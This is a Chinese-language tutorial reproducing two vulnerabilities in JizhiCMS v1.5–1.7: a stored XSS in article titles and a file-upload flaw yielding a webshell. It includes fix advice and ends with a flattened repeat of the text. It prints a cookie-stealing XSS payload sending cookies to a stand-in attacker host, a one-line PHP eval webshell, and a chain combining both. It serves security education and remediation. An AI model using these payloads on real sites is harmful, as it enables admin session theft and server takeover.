极致CMS两处漏洞复现/存储xss/文件上传Getshell
字数 1405 2025-08-25 22:59:02

极致CMS漏洞分析与复现教学文档

0x00 产品介绍

极致CMS在v1.5至v1.7版本中存在两个严重安全漏洞:

  1. 存储型XSS漏洞(可获取管理员cookie)
  2. 文件上传Getshell漏洞

厂商已在后续版本中修复这些漏洞。

0x01 存储型XSS漏洞复现

漏洞描述

该漏洞允许攻击者在前台发表文章时,在标题位置注入恶意XSS代码,当管理员在后台查看文章列表时触发XSS攻击。

复现步骤

  1. 环境准备

    • 搭建极致CMS v1.5至v1.7版本环境
    • 确保拥有后台管理员权限
  2. 漏洞利用

    • 在后台创建一个允许用户发布文章的栏目
    • 在前台发表文章,在标题位置插入XSS payload,例如:
      <script>alert(document.cookie)</script>
      
    • 管理员在后台查看文章列表时,XSS代码将被执行
  3. 获取管理员cookie

    • 可以使用更复杂的payload将cookie发送到攻击者控制的服务器:
      <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
      

漏洞分析

  1. 代码审计

    • 漏洞位于article-list.html文件第191行附近
    • 输出函数未对用户输入进行实体化编码或过滤
    • 关键代码片段:
      ,{field: 'title', title: '标题', edit:'text', sort: true}
      
  2. 修复建议

    • 方案1:移除该功能(如果非必要)
    • 方案2:在输出函数上增加实体化编码
    • 方案3:在文章发表处增加XSS过滤函数

0x02 文件上传Getshell漏洞复现

漏洞描述

该漏洞允许攻击者通过后台配置修改允许上传的文件类型,结合前台上传功能,可直接上传PHP文件获取Webshell。

复现步骤

  1. 环境准备

    • 搭建极致CMS v1.5至v1.7版本环境
    • 拥有后台管理员权限
  2. 后台配置修改

    • 登录后台,进入:系统设置 → 基本设置 → 高级设置
    • 找到"允许上传文件类型"配置项(默认值为:pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx)
    • 添加"php"到允许上传的文件类型中
    • 确保"允许前台上传文件"功能已开启
  3. 前台上传利用

    • 注册并登录前台用户账号
    • 进入文章发布页面
    • 上传包含恶意代码的PHP文件,例如:
      <?php @eval($_POST['cmd']);?>
      
    • 上传成功后,访问上传的PHP文件即可执行任意代码

漏洞分析

  1. 安装过程分析

    • 系统安装时默认写入允许上传的文件类型到数据库
    • 相关SQL语句位于/install/db.php
      INSERT INTO `jz_sysconfig` (`id`,`field`,`title`,`tip`,`type`,`data`) 
      VALUES ('21','fileType','允许上传文件类型', NULL,'0','pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx');
      
  2. 上传验证机制

    • 验证代码位于/Home/c/CommonController.php
    • 关键验证逻辑:
      // 检测是否允许前台上传文件
      if(!$this->webconf['isopenhomeupload']){
          $data['error'] = "Error: 已关闭前台上传文件功能";
          $data['code'] = 1004;
          JsonReturn($data);
      }
      
      foreach($_FILES[$file]['name'] as $k=>$v){
          $pix = explode('.',$v);
          $pix = end($pix);
          $fileType = webConf('fileType');
          if(strpos($fileType,strtolower($pix))===false){
              $data['error'] = "Error: 文件类型不允许上传!";
              $data['code'] = 1002;
              JsonReturn($data);
          }
      }
      
    • 漏洞成因:仅检查文件扩展名是否在允许列表中,没有其他安全措施
  3. 修复建议

    • 严格限制后台修改上传文件类型的权限
    • 增加文件内容检测机制(如MIME类型检查、文件头检查)
    • 禁止上传可执行文件类型(如php、asp等)
    • 将上传文件存储在非Web可访问目录

0x03 综合防御建议

  1. 针对XSS漏洞

    • 对所有用户输入进行HTML实体编码
    • 实现内容安全策略(CSP)
    • 设置HttpOnly标志的cookie
  2. 针对文件上传漏洞

    • 实施白名单机制,严格限制可上传文件类型
    • 对上传文件进行重命名(避免直接使用用户提供的文件名)
    • 将上传文件存储在非Web根目录
    • 对图片文件进行二次渲染
    • 限制上传文件大小
  3. 系统层面

    • 及时更新到官方最新版本
    • 最小权限原则:限制后台功能的访问权限
    • 定期进行安全审计和渗透测试

0x04 总结

极致CMS这两个漏洞组合利用可以形成完整的攻击链:

  1. 通过存储型XSS获取管理员cookie
  2. 使用管理员权限修改上传文件类型配置
  3. 通过前台上传功能获取Webshell

建议使用该CMS的用户立即升级到最新版本,并检查系统是否存在这些漏洞。

极致CMS漏洞分析与复现教学文档 0x00 产品介绍 极致CMS在v1.5至v1.7版本中存在两个严重安全漏洞: 存储型XSS漏洞(可获取管理员cookie) 文件上传Getshell漏洞 厂商已在后续版本中修复这些漏洞。 0x01 存储型XSS漏洞复现 漏洞描述 该漏洞允许攻击者在前台发表文章时,在标题位置注入恶意XSS代码,当管理员在后台查看文章列表时触发XSS攻击。 复现步骤 环境准备 搭建极致CMS v1.5至v1.7版本环境 确保拥有后台管理员权限 漏洞利用 在后台创建一个允许用户发布文章的栏目 在前台发表文章,在标题位置插入XSS payload,例如: 管理员在后台查看文章列表时,XSS代码将被执行 获取管理员cookie 可以使用更复杂的payload将cookie发送到攻击者控制的服务器: 漏洞分析 代码审计 漏洞位于 article-list.html 文件第191行附近 输出函数未对用户输入进行实体化编码或过滤 关键代码片段: 修复建议 方案1:移除该功能(如果非必要) 方案2:在输出函数上增加实体化编码 方案3:在文章发表处增加XSS过滤函数 0x02 文件上传Getshell漏洞复现 漏洞描述 该漏洞允许攻击者通过后台配置修改允许上传的文件类型,结合前台上传功能,可直接上传PHP文件获取Webshell。 复现步骤 环境准备 搭建极致CMS v1.5至v1.7版本环境 拥有后台管理员权限 后台配置修改 登录后台,进入:系统设置 → 基本设置 → 高级设置 找到"允许上传文件类型"配置项(默认值为:pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx) 添加"php"到允许上传的文件类型中 确保"允许前台上传文件"功能已开启 前台上传利用 注册并登录前台用户账号 进入文章发布页面 上传包含恶意代码的PHP文件,例如: 上传成功后,访问上传的PHP文件即可执行任意代码 漏洞分析 安装过程分析 系统安装时默认写入允许上传的文件类型到数据库 相关SQL语句位于 /install/db.php : 上传验证机制 验证代码位于 /Home/c/CommonController.php 关键验证逻辑: 漏洞成因:仅检查文件扩展名是否在允许列表中,没有其他安全措施 修复建议 严格限制后台修改上传文件类型的权限 增加文件内容检测机制(如MIME类型检查、文件头检查) 禁止上传可执行文件类型(如php、asp等) 将上传文件存储在非Web可访问目录 0x03 综合防御建议 针对XSS漏洞 对所有用户输入进行HTML实体编码 实现内容安全策略(CSP) 设置HttpOnly标志的cookie 针对文件上传漏洞 实施白名单机制,严格限制可上传文件类型 对上传文件进行重命名(避免直接使用用户提供的文件名) 将上传文件存储在非Web根目录 对图片文件进行二次渲染 限制上传文件大小 系统层面 及时更新到官方最新版本 最小权限原则:限制后台功能的访问权限 定期进行安全审计和渗透测试 0x04 总结 极致CMS这两个漏洞组合利用可以形成完整的攻击链: 通过存储型XSS获取管理员cookie 使用管理员权限修改上传文件类型配置 通过前台上传功能获取Webshell 建议使用该CMS的用户立即升级到最新版本,并检查系统是否存在这些漏洞。